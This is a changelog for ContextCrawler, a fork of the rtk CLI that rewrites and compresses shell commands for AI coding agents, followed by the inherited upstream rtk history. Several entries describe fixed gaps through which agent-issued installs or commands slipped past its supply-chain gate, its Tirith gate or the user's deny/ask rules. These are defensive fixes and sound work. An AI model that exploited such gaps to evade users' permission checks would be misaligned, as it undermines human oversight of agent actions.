  • README install switched from --branch develop to --tag v0.1.2 by default; bleeding-edge --branch develop kept as a separate opt-in.

[0.1.1] — 2026-05-14

Security fixes from a dual Codex + Claude review of the downstream gate code. Five real issues, all consensus between both reviewers.

Fixed

  • supply-chain: OSV severity threshold now actually applies. Every CVE was being marked Severity::High in the verdict loop and the osv_severity() helper was dead code. Result: block_severity = "CRITICAL" silently passed HIGH CVEs through the gate. osv_query() now returns per-vuln severity and the caller compares against the configured threshold.
  • supply-chain: editable / URL / path tokens no longer exempt their siblings. pip install -e . requests was skipping the entire command and never vetting requests. Pure URL/tarball installs returned Allow with no findings. Now: named packages are always vetted; when allow_editable=false and an editable token is present, a new FindingReason::UnvettableSource is produced for manual review.
  • supply-chain: cache path traversal guard. Package names containing .., backslashes, control chars, or colons now refuse to cache instead of resolving to a path outside ~/.cache/contextcrawler/.
  • tirith: verdict parsed structurally, not by substring. Tirith responses with whitespace variations ({"action": "block"}) or the word "block" inside a description string no longer mis-route the verdict. Pretty-printed output also works.
  • web: DOM walk depth-capped. extract_element_text now bails at MAX_DOM_DEPTH = 256, preventing stack overflow on adversarial deeply-nested HTML.
  • rewrite_cmd: legacy bash-hook path now runs the supply-chain gate. Previously only the modern contextcrawler hook claude path checked installs; the legacy rtk rewrite exit-code protocol skipped it. Coverage is now consistent across both hook entry points.

Added

  • cache_file_rejects_traversal, mixed_editable_and_named_keeps_named_packages, osv_severity_extracts_from_database_specific regression tests.

Changed

  • gain no longer displays the literal rtk prefix on every row (it's identical across all entries — strip it at display time so the table stays useful). DB schema unchanged.

[0.1.0] — 2026-05-14

First public release. ContextCrawler is a downstream distribution of rtk-ai/rtk (v0.39.0) that brings the jee599/contextzip feature set forward to a current rtk base, plus an opt-in Tirith defense-in-depth gate and an in-tree supply-chain pre-install gate.

One binary

  • contextcrawler — single canonical CLI. --version reads contextcrawler ContextCrawler 0.1.0 (downstream of rtk 0.39.0).
  • Cargo package renamed from rtk to contextcrawler. Source-level rtk identifiers retained (mod / use / struct names) to keep upstream rebase friction minimal.

Added (over jee599/contextzip 0.2.0 / rtk 0.30.1 baseline)

  • 9 minor versions of upstream rtk improvements: lexer-based compound-command splitter, permission-verdict system (deny / ask / allow / default with least-privilege default), new per-language modules (vitest, playwright, prisma, rake, rspec, rubocop, ...), additional agent hook integrations (codex, cursor, copilot VS Code, opencode, hermes, kilocode, antigravity, windsurf), and 60+ TOML filter configs.
  • contextcrawler web <url> — fetch a URL with curl and extract main content from HTML responses via scraper, stripping nav / ads / scripts. ~86% byte savings on real pages (e.g., rust-lang.org homepage: 18,686 → 2,513 bytes).
  • Multi-language stacktrace compression (Node.js, Python, Rust, Go, Java) as a post-processor in core/runner.rs. Detects framework frames and drops them, keeping user-code frames only.
  • Tirith pre-execution gate at the auto-allow rewrite boundary. When tirith is installed, every rewrite that would receive permissionDecision: "allow" is first run past tirith check. Block-level findings downgrade the verdict to Ask so the user reviews the original command. Wired into both the legacy rewrite path and the modern contextcrawler hook claude path so coverage is consistent. Default fail-open; set CONTEXTCRAWLER_TIRITH_REQUIRED=1 for fail-closed.
  • contextcrawler security subcommand. Surfaces Tirith audit stats, gate mode, and shell-hook configuration status. Text and JSON output.
  • contextcrawler security log subcommand. Merged gate-activity log (Tirith downgrades + supply-chain events) sorted by timestamp. --limit N, --json, and --histogram for at-a-glance bucketed counts by (source, category) with proportional bars.
  • contextcrawler supply-chain check '<cmd>' — pre-install age and OSV CVE inspection for npm / pnpm / yarn and pip / uv / poetry / pipx install commands. Wired into the auto-allow path so block reasons (age below cooldown, known CVE) downgrade to Ask. Honors pinned versions; 24h disk cache at ~/.cache/contextcrawler/supply-chain/. Opt-in via ~/.config/contextcrawler/supply-chain.toml.
  • contextcrawler sessions subcommand group for Claude Code session-JSONL compaction:
    • contextcrawler sessions compact <id|path> — write a .compressed sidecar (also accepts --all-sessions for batch mode and --dry-run)
    • contextcrawler sessions apply <id> — promote the sidecar to live
    • contextcrawler sessions expand <id> — roll back via .bak
    • $CLAUDE_PROJECTS_DIR env override for non-default session locations
  • Sentinel-block discipline: every downstream addition to upstream-owned files lives between // ===== contextzip-downstream ===== marker pairs. Reduces rebase conflict surface when upstream rtk moves.

Changed

  • Full rename: Cargo package rtk → contextcrawler. Binary, package name, and clap name = ... all match. Source-level rtk module/use/ struct identifiers retained for upstream rebase compatibility.
  • Hook scripts (hooks/claude/rtk-rewrite.sh, hooks/cursor/rtk-rewrite.sh, hooks/opencode/rtk.ts) updated to call contextcrawler instead of rtk. Filenames are kept (upstream-owned paths) to minimize rebase friction.
  • Upstream version-guard logic in the hook scripts replaced with a comment — the guard parsed rtk <ver> output, which doesn't match ContextCrawler's banner format. ContextCrawler always ships against a recent rtk core so the guard isn't load-bearing.
  • SPDX-License-Identifier headers added to all downstream-introduced source files with explicit upstream attribution.

Removed

  • build_cmd generic build-error grouper (was at jee599/contextzip/src/build_cmd.rs). Subsumed by rtk 0.39's per-language modules: cmds/js/tsc_cmd.rs, cmds/rust/cargo_cmd.rs, cmds/python/mypy_cmd.rs, cmds/js/lint_cmd.rs.
  • Telemetry scaffolding. ContextCrawler does not phone home.
  • Self-update path. Update via cargo install or rebuild from source.
  • Standalone contextcrawler-session crate (formerly under session-compactor/). Its functionality is now folded into the main binary as contextcrawler sessions {compact|apply|expand}.

Attribution

  • Upstream base: rtk-ai/rtk v0.39.0, Apache-2.0 (per LICENSE) / MIT (per Cargo.toml).
  • Compactor + stacktrace + HTML modules originated in jee599/contextzip, MIT. Each carried-over file has a per-file SPDX header citing the upstream.
  • Tirith, AGPL-3.0, invoked via subprocess only — no statically linked AGPL code.

Inherited upstream rtk-ai/rtk history below

The entries below originate from upstream rtk-ai/rtk and predate the ContextCrawler downstream. Preserved for attribution and context.

Changelog

All notable changes to rtk (Rust Token Killer) will be documented in this file.

The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.

0.39.0 (2026-05-06)

Features

  • cicd: add auto next release parser (bf24972)
  • cicd: target develop branch (63da7da)

Bug Fixes

  • cicd: match ":" for body prefix to catch (5987333)
  • cicd: match allowed repo list in pr bodies (b1233ab)
  • curl: gate force_tee_hint, extend JSON heuristic, avoid full-body alloc (2ed53c7)
  • curl: JSON passthrough + IsTerminal gate to prevent invalid JSON output (02da3d0), closes #1536 #1282
  • dotnet cmd test flakiness (17ffe62)
  • git: address review feedback on status state surfacing (316e65e)
  • git: compact in-progress status state (cff391e)
  • git: drop state-hint extraction in compact status (e91dee5)
  • git: surface in-progress state in compact rtk git status (017d0f9)
  • grep: adjust the command to fall through if the output would already be as small as possible (09e1c0a)
  • head/tail multi-file rewrite falls back to native command (#1362) (f75a10b)
  • init-uninstall: uninstall removes --claude-md artifacts on Windows (d395f97)
  • init-uninstall: uninstall removes --claude-md artifacts on Windows (aad0db8)
  • json: expand char boundary truncation test (7840030)
  • json: use char boundary when truncating long string values (533894a)
  • ls: handle all file types (device, pipe, socket) in ls filter (e456be1)
  • ls: handle device files (block, char, pipe, socket) in ls filter (cac8ce7), closes #844
  • ls: LC_ALL=C + fallback to raw on unrecognized locale (bf6d4b2)
  • pnpm: install don't take a list of packages (492aa76)

0.38.0 (2026-04-29)

Features

  • cicd: enforce cicd sast & package check (3bbbb49)
  • gains: add --reset flag (e3149cb)
  • glab: add GitLab CLI (glab) command support (048f2f9)
  • glab: add GitLab CLI (glab) command support (bc31f3f), closes #851

Bug Fixes

  • benchmark: benchmark capture all fd only stream (c590bd6)
  • benchmark: capture all fd for stream cmd benchmark (e6c2523)
  • benchmark: extract format_diff_changes + remove wrong diff test (e7ae6bf)
  • cicd: : no semgrep alert on sh call cicd (7681daf)
  • discover: also encode '_', '', and non-ASCII chars in project path slug (73a05c3), closes #1457
  • discover: encode '.' as '-' in project path slug (2d031f3), closes #1457
  • filters: benchmark ci update + fix stream + filter quality (137af04)
  • filters: benchmark ci update + fix stream filter quality (88d9f6a)
  • git: fix empty output when branch name contains '/' in git diff (e070226)
  • git: fix empty output when branch name contains '/' in git diff (13188a8), closes #1431
  • grep false negatives, output mangling, and truncation annotations (de41533)
  • install: resolve version via redirect to avoid GitHub API rate limits (5e1a641)
  • npm: regex match end line (5e84e94)
  • npx: dispatch unknown tools to npx instead of npm (2c4569c), closes #815
  • remove wrong cicd benchmark + npm test regex (7e3690a)
  • stream: add semgrep flag for sh tests (7cfcdbe)
  • stream: add semgrep flag for sh tests (d327724)
  • stream: route to respective fd (605e335)
  • stream: route to respective fd (81a1be6)
  • tracking: test env path (70b36b4)

0.37.2 (2026-04-20)

Bug Fixes

  • discover: exclude_commands bypass for env-prefix, sub cmd + regex (ca4c59c)
  • discover: exclude_commands bypass for env-prefix, sub cmd + regex (42d3161)
  • discover: word boundary in exclude_commands (0ea115b)
  • docs: add missing docs for exclude commands patterns (2e401ac)
  • hooks: add regression test for windows native (115e448)
  • hooks: windows use 'rtk hook claude' no fallback (da3c432)
  • hooks: windows use 'rtk hook claude' no fallback (0e29650)
  • tests: windows regression test fix path (13a73dd)

0.37.1 (2026-04-18)

Bug Fixes

0.37.0 (2026-04-17)

Features

  • discover: handle more npm/npx/pnpm/pnpx patterns (9e96caa)
  • refacto-core: binary hook w/ native cmd exec + streaming (e7b7f9a)

Bug Fixes

  • docs: use release please changelog no manual (7591a14)
  • isolate cursor hook tests from local settings (determinist) (d8ddefe)
  • P0+P1 fixes from pre-merge review of hook engine (df8e035)
  • P0+P1 fixes from pre-merge review of hook engine (d34389c)
  • rename ship.md to ship/SKILL.md to match develop (5916ecd)
  • runner: preserve fd separation on command failure (e92d099)
  • stream: missing stderr fields (a1d46f3)

0.36.0 (2026-04-13)

Features

  • benchmark: add multipass VM integration test suite (6e7863b)
  • benchmark: add multipass VM integration test suite (d22759b)
  • benchmark: add Swift ecosystem tests (6 commands + savings) (1fbb6d9)
  • init: add native support for Kilo Code and Google Antigravity (d0a3797)
  • init: add support for kilocode and antigravity agents (66b90f1)
  • pnpm: Add filter argument support (2ba8d37)
  • skills: add /pr-review skill for batch PR review (21e67a1)
  • telemetry: enrich daily ping with gap detection and quality metrics (644c50f)

Bug Fixes

  • benchmark: address PR review feedback (87ee81f)
  • benchmark: address review feedback from @FlorianBruniaux (d13c185)
  • ccusage: add --yes flag and warn when falling back to npx (f68fa00)
  • clippy: show full error blocks instead of truncated headline (95d9d13)
  • clippy: show full error blocks instead of truncated headline (f4074f8), closes #602
  • curl: skip JSON schema conversion for internal/localhost URLs (577c311)
  • discover: preserve golangci-lint flags in rewrite (d85303e)
  • docs: update TELEMETRY.md to match code after review fixes (be5c057)
  • find: include hidden files when pattern targets dotfiles (#1101) (dbeeaed)
  • git: re-insert -- separator when clap consumes it from git diff args (#1215) (9979c69)
  • git: remove -u short alias from --ultra-compact to fix git push -u (6b76fdb)
  • golangci-lint: restore run wrapper and align guidance (4f4e4d2)
  • golangci-lint: support inline global flags before run (24f2ada)
  • go: prevent double-counted failures when test-level fail also triggers package-level fail (#958) (4fc15ef)
  • go: prevent double-counting failures when package-level fail cascades from test failures (#958) (9722d5e)
  • hooks: ensure default permission verdict prompts user for confirmation (40462c0)
  • hooks: require all segments to match allow rules (#1213) (40c9dbc)
  • init: honor CODEX_HOME for Codex global paths (d442799)
  • init: install Codex global instructions in CODEX_HOME (a257688)
  • json: rename --schema to --keys-only, closes #621 (c16713a)
  • ls: filter quality wrong truncation (aa6317f)
  • permissions: glob_matches middle-wildcard matches commands without trailing args (#1105) (3db8070)
  • pnpm: list command not working (ba235d8)
  • pytest: -q mode summary line not detected (57502a5)
  • report package-level failures (timeouts, signals) in go test summary (0b1c32b)
  • report package-level failures (timeouts, signals) in go test summary (c85a387), closes #958
  • security: correct email domain from .dev to .app (47383e8)
  • tee: prevent panic on UTF-8 multi-byte truncation boundary (da486bf)
  • telemetry: 7 bugs in enrichment — privacy leak, broken meta_usage, pricing (15f666d)
  • telemetry: clean code (8156081)
  • telemetry: consent, erasure, auth, docs (2e4cc4b)
  • telemetry: non-terminal consent, single config load (7821e98)
  • telemetry: RGPD-compliant, consent gate, erasure, privacy controls (6a5bc84)

0.35.0 (2026-04-06)

Features

  • aws: expand CLI filters from 8 to 25 subcommands (402c48e)

Bug Fixes

  • cmd: read/cat multiple file and consistent behavior (3f58018)
  • docs: clean some docs + disclaimer (deda44f)
  • gh: pass through gh pr merge instead of canned response (#938) (8465ca9)
  • gh: pass through gh pr merge instead of canned response (#938) (e1f2845)
  • git: inherit stdin for commit and push to preserve SSH signing (#733) (eefeae4)
  • git: inherit stdin for commit and push to preserve SSH signing (#733) (6cee6c6)
  • git: preserve full diff hunk headers (62f4452)
  • git: preserve full diff hunk headers (09b3ff9)
  • go: avoid false build errors from download logs (9c1cf2f)
  • go: avoid false build errors from download logs (d44fd3e)
  • go: cover more build failure shapes (2425ad6)
  • go: preserve failing test location context (1481bc5)
  • go: preserve failing test location context (374fe64)
  • go: restore build error coverage (1177c9c)
  • grep: close subprocess stdin to prevent memory leak (#897) (7217562)
  • grep: close subprocess stdin to prevent memory leak (#897) (09979cf)
  • hook_check: detect missing integrations (9cf9ccc)
  • init: remove opt-out instruction from telemetry message (7571c8e)
  • init: remove telemetry info lines from init output (7dbef2c)
  • main: kill zombie processes + path for rtk md (d16fc6d)
  • main: kill zombie processes + path for rtk md + missing intergrations (a919335)
  • merge: changelog conflicts (d92c5d2)
  • proxy: kill child process on SIGINT/SIGTERM to prevent orphans (d813919)
  • proxy: kill child process on SIGINT/SIGTERM to prevent orphans (3318510)
  • review: address ChildGuard disarm, stdin dedup, hook masking (d85fe33)
  • security: default to ask when no permission rule matches (#886) (158c745)
  • security: default to ask when no permission rule matches (#886) (41a6c6b)
  • tracking: use std::env::temp_dir() for compatibility (instead of unix tmp) (e918661)

[Unreleased]

Bug Fixes

  • git: remove -u short alias from --ultra-compact to fix git push -u upstream tracking (#1086)

0.35.0 (2026-04-06)

Features

  • aws: expand CLI filters from 8 to 25 subcommands (402c48e)

Bug Fixes

  • cmd: read/cat multiple file and consistent behavior (3f58018)
  • docs: clean some docs + disclaimer (deda44f)
  • gh: pass through gh pr merge instead of canned response (#938) (8465ca9)
  • gh: pass through gh pr merge instead of canned response (#938) (e1f2845)
  • git: inherit stdin for commit and push to preserve SSH signing (#733) (eefeae4)
  • git: inherit stdin for commit and push to preserve SSH signing (#733) (6cee6c6)
  • git: preserve full diff hunk headers (62f4452)
  • git: preserve full diff hunk headers (09b3ff9)
  • go: avoid false build errors from download logs (9c1cf2f)
  • go: avoid false build errors from download logs (d44fd3e)
  • go: cover more build failure shapes (2425ad6)
  • go: preserve failing test location context (1481bc5)
  • go: preserve failing test location context (374fe64)
  • go: restore build error coverage (1177c9c)
  • grep: close subprocess stdin to prevent memory leak (#897) (7217562)
  • grep: close subprocess stdin to prevent memory leak (#897) (09979cf)
  • hook_check: detect missing integrations (9cf9ccc)
  • init: remove opt-out instruction from telemetry message (7571c8e)
  • init: remove telemetry info lines from init output (7dbef2c)
  • main: kill zombie processes + path for rtk md (d16fc6d)
  • main: kill zombie processes + path for rtk md + missing intergrations (a919335)
  • merge: changelog conflicts (d92c5d2)
  • proxy: kill child process on SIGINT/SIGTERM to prevent orphans (d813919)
  • proxy: kill child process on SIGINT/SIGTERM to prevent orphans (3318510)
  • review: address ChildGuard disarm, stdin dedup, hook masking (d85fe33)
  • security: default to ask when no permission rule matches (#886) (158c745)
  • security: default to ask when no permission rule matches (#886) (41a6c6b)
  • tracking: use std::env::temp_dir() for compatibility (instead of unix tmp) (e918661)

[Unreleased]

Features

  • aws: expand CLI filters from 8 to 25 subcommands — CloudWatch Logs, CloudFormation events, Lambda, IAM, DynamoDB (with type unwrapping), ECS tasks, EC2 security groups, S3API objects, S3 sync/cp, EKS, SQS, Secrets Manager (#885)
  • aws: add shared runner run_aws_filtered() eliminating per-handler boilerplate
  • tee: add force_tee_hint() — truncated output saves full data to file with recovery hint

0.34.3 (2026-04-02)

Bug Fixes

  • automod: add auto discovery for cmds (234909d)
  • ci: fix validate-docs.sh broken module count check (bbe3da6)
  • cleaning: constant extract (aabc016)
  • cmds: migrate remaining exit_code to exit_code_from_output (ba9fa34)
  • cmds: more covering for run_filtered (e48485a)
  • docs: add documentation (2f7278a)
  • docs: add maintainers docs (14265b4)
  • refacto-p1: unified cmds execution flow (+ rm dead code) (75bd607)
  • refacto-p2: more standardize (47a76ea)
  • refacto-p2: more standardize (92c671a)
  • refacto: wrappers for standardization, exit codes lexer tokenizer, constants, code clean (bff0258)
  • registry: quoted env prefix + inline regex cleanup + routing docs (f3217a4)
  • review: address PR #910 review feedback (0a8b8fd)
  • review: PR #934 (5bd35a3)
  • review: PR #934 (bae7930)
  • rules: add wc RtkRule with pattern field for develop compat (d75e864)
  • standardize: git+kube sub wrappers run_filtered (7fd221f)
  • standardize: merge pattern into rues (08aabb9)

0.34.2 (2026-03-30)

Bug Fixes

  • emots: replace 📊 with "Summary:" (495a152)
  • refacto-codebase: technical docs & sub folders (927daef)

0.34.1 (2026-03-28)

Bug Fixes

  • security: missing toml pkg (51f9c88)
  • security: salt device hash for telemetry (32fdbbb)
  • security: set 0600 permissions on salt file (5eae11d)
  • telemetry: cache salt in-process (22dc059)
  • telemetry: docs + real info from "rtk init -g" (33195cc)
  • telemetry: hash + salt (92996b1)

0.34.0 (2026-03-26)

Features

  • init: add --copilot flag for GitHub Copilot integration (9e19aac), closes #823

Bug Fixes

  • diff: correct truncation overflow count in condense_unified_diff (5399f83)
  • diff: never truncate diff content — show all changes in full (80fc29a), closes #827
  • git: replace vague truncation markers with exact counts (185fb97)
  • merge: resolve conflict with develop in diff_cmd.rs (6a5ae14)
  • read: default to no filtering — show full file content (5e0f3ba), closes #822
  • read: detect binary files and prevent empty output on filter failure (8886c14), closes #822
  • rewrite swift test commands (599ad25)
  • truncation accuracy + Copilot init + binary file detection (966bcbe)
  • truncation: accurate overflow counts and omission indicators (58a9633)

[Unreleased]

Bug Fixes

  • wc: wc filter was never invoked by the hook — removed "wc " from IGNORED_PREFIXES and added registry entry so wc commands are rewritten to rtk wc
  • diff: correct truncation overflow count in condense_unified_diff (#833) (5399f83)
  • git: replace vague truncation markers with exact counts in log and grep output (#833) (185fb97)

0.33.1 (2026-03-25)

Bug Fixes

  • cicd: dev- prefix for pre-release tags (522bd64)
  • cicd: use dev- prefix for pre-release tags (9c21275)
  • cicd: use dev- prefix for pre-release tags to avoid polluting release-please (32c67e0)
  • hook security + stderr redirects + version bump (#807) (0649e97)
  • hook: respect Claude Code deny/ask permission rules on rewrite (a051a6f)
  • strip trailing stderr redirects before rewrite matching (#530) (edd9c02)
  • strip trailing stderr redirects before rewrite matching (#530) (36a6f48)

0.33.0-rc.54 (2026-03-24)

Features

  • ruby: add Ruby on Rails support (rspec, rubocop, rake, bundle) (#724) (15bc0f8)

Bug Fixes

  • add telemetry documentation and init notice (#640) (#788) (0eecee5)
  • cargo: preserve test compile diagnostics (97b6878)
  • cicd: explicit fetch tag (3b94b60)
  • cicd: gete release like tag for pre-release (53bc81e)
  • cicd: issue 668 - pre release tag (200af43)
  • cicd: missing doc (8657494)
  • cicd: pre-release correct tag (1536667)
  • dotnet: TRX injection for Microsoft.Testing.Platform projects (8eefef1)
  • formatter: show full error message for test failures (#690) (dc6b026)
  • formatter: show full error message for test failures (#690) (f7b09fc)
  • gh: passthrough --comments flag in issue/pr view (75cd223)
  • gh: passthrough --comments flag in issue/pr view (fdeb09f), closes #720
  • gh: skip compact_diff for --name-only/--stat flags in pr diff (2ef0690), closes #730
  • gh: skip compact_diff for --name-only/--stat in pr diff (c576249)
  • golangci-lint: add v2 compatibility with runtime version detection (95a4961)
  • golangci: use resolved_command for version detection, move test fixture to file (6aa5e90)
  • increase signal in git diff, git log, and json filters (#621) (#708) (4edc3fc)
  • playwright: add tee_and_hint pass-through on failure (#690) (b4ccf04)
  • preserve cargo test compile diagnostics (15d5beb)
  • ruby: use rails test for positional file args in rtk rake (ec92c43)
  • ruby: use rails test for positional file args in rtk rake (138e914)
  • update Discord invite link (#711) (#786) (af56573)

[Unreleased]

Bug Fixes

  • hook: respect Claude Code deny/ask permission rules on rewrite — hook now checks settings.json before rewriting commands, preventing bypass of user-configured deny/ask permissions
  • git: replace symbol prefixes (* branch, + Staged:, ~ Modified:, ? Untracked:) with plain lowercase labels (branch:, staged:, modified:, untracked:) in git status output
  • ruby: use rails test instead of rake test when positional file args are passed — rake test ignores positional files and only supports TEST=path

Features

  • ruby: add RSpec test runner filter with JSON parsing and text fallback (60%+ reduction)
  • ruby: add RuboCop linter filter with JSON parsing, grouped by cop/severity (60%+ reduction)
  • ruby: add Minitest filter for rake test / rails test with state machine parser (85-90% reduction)
  • ruby: add TOML filter for bundle install/update — strip Using lines (90%+ reduction)
  • ruby: add ruby_exec() shared utility for auto-detecting bundle exec when Gemfile exists
  • ruby: add discover/rewrite rules for rake, rails, rspec, rubocop, and bundle commands

Bug Fixes

  • cargo: preserve compile diagnostics when cargo test fails before any test suites run

0.31.0 (2026-03-19)

Features

  • 9-tool AI agent support + emoji removal (#704) (737dada)

0.30.1 (2026-03-18)

Bug Fixes

0.30.0 (2026-03-16)

Features

  • add rtk session command for adoption overview (be67d66)
  • add rtk session command for adoption overview (12d44c4), closes #487
  • add worktree slash commands for isolated development (#364) (ab83e79)
  • Claude Code tooling — 2 agents, 7 commands, 2 rules, 4 skills (#491) (7b7a5ae)

Bug Fixes

  • 6 critical bugs — exit codes, unwrap, lazy regex (#626) (3005ebd)
  • align 7 TOML filter tests with on_empty behavior (04ed6d8)
  • align 7 TOML filter tests with on_empty behavior (9a499b9)
  • cicd-docs: add agent reviewer + some contribute guidelines (de710f4)
  • cicd-docs: some logs to understand what is happening when check docs (191ea9a)
  • cicd: Clean cicd, rework depends and add pre-release (d24a765)
  • cicd: Clean cicd, rework depends and add pre-release (6303e95)
  • cicd: clippy - do not treat warn as error (5da5db2)
  • failing context for doc analyze -> cat from files (c6b7db2)
  • git log --oneline regression drops commits (#619) (8e85d67)
  • improve adoption metric by detecting hook-rewritten commands (eb8a2c4)
  • normalize binlogs CRLF (5344af9)
  • preserve commit body in git log output (e189bbb)
  • preserve first line of commit body in git log output (c3416eb)
  • remove version check from validate-docs CI (#476) (#543) (6e61c24)
  • split chained commands in adoption metric (127f85c)
  • support git -C <path> in rewrite registry (c916bab), closes #555
  • test-all.sh aborts when gt not installed (#500) (#544) (26f5473)
  • trust boundary followup — TOML key typo + missing meta commands (#625) (8d8e188)
  • windows path fix for git tests (0a904e2)

0.29.0 (2026-03-12)

Features

  • rewrite engine, OpenCode support, hook system improvements (#539) (c1de10d)

0.28.2 (2026-03-10)

Bug Fixes

0.28.1 (2026-03-10)

Bug Fixes

  • 4 critical bugs + telemetry enrichment (#462) (7d76af8)
  • restore lost telemetry install_method enrichment (#469) (0c5cde9)

0.28.0 (2026-03-10)

Features

  • gt: add Graphite CLI support (#290) (7fbc4ef)
  • TOML Part 1 — filter DSL engine + 14 built-in filters (#349) (adda253)
  • TOML Part 2 — user-global config, shadow warning, rtk init templates, 4 new built-in filters (#351) (926e6a0)
  • TOML Part 3 — 15 additional built-in filters (ping, rsync, dotnet, swift, shellcheck, hadolint, poetry, composer, brew, df, ps, systemctl, yamllint, markdownlint, uv) (#386) (b71a8d2)

0.27.2 (2026-03-06)

Bug Fixes

  • gh pr edit/comment pass correct subcommand to gh (#332) (799f085)
  • pass through -R/--repo flag in gh view commands (#328) (0a1bcb0), closes #223
  • reduce gh diff / git diff / gh api truncation (#354) (#370) (e356c12)
  • strip npx/bunx/pnpm prefixes in lint linter detection (#186) (#366) (27b35d8)

0.27.1 (2026-03-06)

Bug Fixes

  • only rewrite docker compose ps/logs/build, skip unsupported subcommands (#336) (#363) (dbc9503)
  • preserve -- separator for cargo commands and silence fallback (#326) (45f9344), closes #286 #287
  • prettier false positive when not installed (#221) (#359) (85b0b3e)
  • support git commit -am, --amend and other flags (#327) (#360) (409aed6)

0.27.0 (2026-03-05)

Features

Bug Fixes

0.26.0 (2026-03-05)

Features

  • add Claude Code skills for PR and issue triage (#343) (6ad6ffe)
  • anonymous telemetry ping (1/day, opt-out) (#334) (baff6a2)

Bug Fixes

[Unreleased]

Features

  • toml-dsl: declarative TOML filter engine — add command filters without writing Rust (#299)
    • 8 primitives: strip_ansi, replace, match_output, strip/keep_lines_matching, truncate_lines_at, head/tail_lines, max_lines, on_empty
    • lookup chain: .rtk/filters.toml (project-local) → ~/.config/rtk/filters.toml (user-global) → built-in filters
    • RTK_NO_TOML=1 bypass, RTK_TOML_DEBUG=1 debug mode
    • shadow warning when a TOML filter's match_command overlaps a Rust-handled command
    • rtk init generates commented filter templates at both project and global level
    • rtk verify command with --require-all for inline test validation
    • 18 built-in filters: tofu-plan/init/validate/fmt (#240), du (#284), fail2ban-client (#281), iptables (#282), mix-format/compile (#310), shopify-theme (#280), pio-run (#231), mvn-build (#338), pre-commit, helm, gcloud, ansible-playbook
  • hooks: exclude_commands config — exclude specific commands from auto-rewrite (#243)

Bug Fixes

  • cargo clippy: include actionable error details in compact output instead of summary-only counts (#602)
  • curl: skip JSON schema replacement when schema is larger than original payload (#297)
  • init: rtk init -g --uninstall now removes <!-- rtk-instructions --> block from CLAUDE.md (#384)
  • toml-dsl: fix regex overmatch on tofu-plan/init/validate/fmt and mix-format/compile — add (\s|$) word boundary to prevent matching subcommands (e.g. tofu planet, mix formats) (#349)
  • toml-dsl: remove 3 dead built-in filters (docker-inspect, docker-compose-ps, pnpm-build) — Clap routes these commands before run_fallback, so the TOML filters never fire (#351)
  • toml-dsl: uv-sync — remove Resolved short-circuit; it fires before the package list is printed, hiding installed packages (#386)
  • toml-dsl: dotnet-build — short-circuit only when both warning and error counts are zero; builds with warnings now pass through (#386)
  • toml-dsl: poetry-install — support Poetry 2.x bullet syntax (•) and No changes. up-to-date message (#386)
  • toml-dsl: ping — add Windows format support (Pinging header, Reply from per-packet lines) (#386)

0.25.0 (2026-03-05)

Features

  • rtk rewrite — single source of truth for LLM hook rewrites (#241) (f447a3d)

Bug Fixes

  • find: accept native find flags (-name, -type, etc.) (#211) (7ac5bc4)

[Unreleased]

⚠️ Migration Required

Hook must be updated after upgrading (rtk init --global).

The Claude Code hook is now a thin delegator: all rewrite logic lives in the rtk rewrite command (single source of truth). The old hook embedded the full if-else mapping inline — it still works after upgrading, but won't pick up new commands automatically.

Upgrade path:

cargo install rtk          # upgrade binary
rtk init --global          # replace old hook with thin delegator

Running rtk init without --global updates the project-level hook only. Users who skip this step keep the old hook working as before — no immediate breakage, but future rule additions won't take effect until they migrate.

Features

  • rewrite: add rtk rewrite command — single source of truth for hook rewrites (#241)
    • New src/discover/registry.rs handles all command → RTK mapping
    • Hook reduced to ~50 lines (thin delegator), no duplicate logic
    • New commands automatically available in hook without hook file changes
    • Supports compound commands (&&, ||, ;, |, &) and env prefixes
  • discover: extract rules/patterns into src/discover/rules.rs — adding a command now means editing one file only
  • fix: add aws and psql to rewrite registry (were missing despite modules existing since 0.24.0)

Tests

  • +48 regression tests covering all command categories: aws, psql, Python, Go, JS/TS, compound operators, sudo/env prefixes, registry invariants (607 total, was 559)
  • +5 tests for uninstall --claude-md artifact cleanup (614 total)

0.24.0 (2026-03-04)

Features

  • add AWS CLI and psql modules with token-optimized output (#216) (b934466)
  • passthrough fallback when Clap parse fails + review fixes (#200) (772b501)
  • security: add SHA-256 hook integrity verification (f2caca3)

Bug Fixes

  • git: propagate exit codes in push/pull/fetch/stash/worktree (#234) (5cfaecc)
  • playwright: fix JSON parser to match real Playwright output format (#193) (4eb6cf4)
  • support additional git global options (--no-pager, --no-optional-locks, --bare, --literal-pathspecs) (68ca712)
  • support git global options (-C, -c, --git-dir, --work-tree, --no-pager, --no-optional-locks, --bare, --literal-pathspecs) (a6ccefe)
  • support git global options (-C, -c, --git-dir, --work-tree) (982084e)
  • update version refs to 0.23.0, module count to 51, fmt upstream files (eed0188)

0.23.0 (2026-02-28)

Features

  • add mypy command with grouped error output (#109) (e8ef341)
  • gain: add per-project token savings with -p flag (#128) (2b550ee)

Bug Fixes

  • eliminate duplicate output when grep-ing function names from git show (#248) (a6f65f1)
  • filter docker compose hook rewrites to supported subcommands (#245) (dbbf980), closes #244
  • registry: "fi" in IGNORED_PREFIXES shadows find commands (#246) (48965c8)
  • remove personal preferences from project CLAUDE.md (3a8044e)
  • remove personal preferences from project CLAUDE.md (d362ad0)
  • remove remaining personal project reference from CLAUDE.md (5b59700)
  • remove remaining personal project reference from CLAUDE.md (dc09265)
  • surface build failures in go test summary (#274) (b405e48)

0.22.2 (2026-02-20)

Bug Fixes

  • grep: accept -n flag for grep/rg compatibility (7d561cc)
  • playwright: fix JSON parser and binary resolution (#215) (461856c)
  • propagate rg exit code in rtk grep for CLI parity (#227) (f1be885), closes #162

0.22.1 (2026-02-19)

Bug Fixes

  • git branch creation silently swallowed by list mode (#194) (88dc752)
  • git: support multiple -m flags in git commit (292225f)
  • git: support multiple -m flags in git commit (c18553a)
  • grep: translate BRE | alternation and strip -r flag for rg (#206) (70d1b04)
  • propagate linter exit code in rtk lint (#207) (8e826fc), closes #185
  • smart markdown body filter for gh issue/pr view (#188) (#214) (4208015)

0.22.0 (2026-02-18)

Features

  • add rtk wc command for compact word/line/byte counts (#175) (393fa5b)

0.21.1 (2026-02-17)

Bug Fixes

  • gh run view drops --log-failed, --log, --json flags (#159) (d196c2d)

0.21.0 (2026-02-17)

Features

0.20.1 (2026-02-17)

Bug Fixes

  • install to ~/.local/bin instead of /usr/local/bin (closes #155) (#161) (0b34772)

0.20.0 (2026-02-16)

Features

  • add hook audit mode for verifiable rewrite metrics (#151) (70c3786)

0.19.0 (2026-02-16)

Features

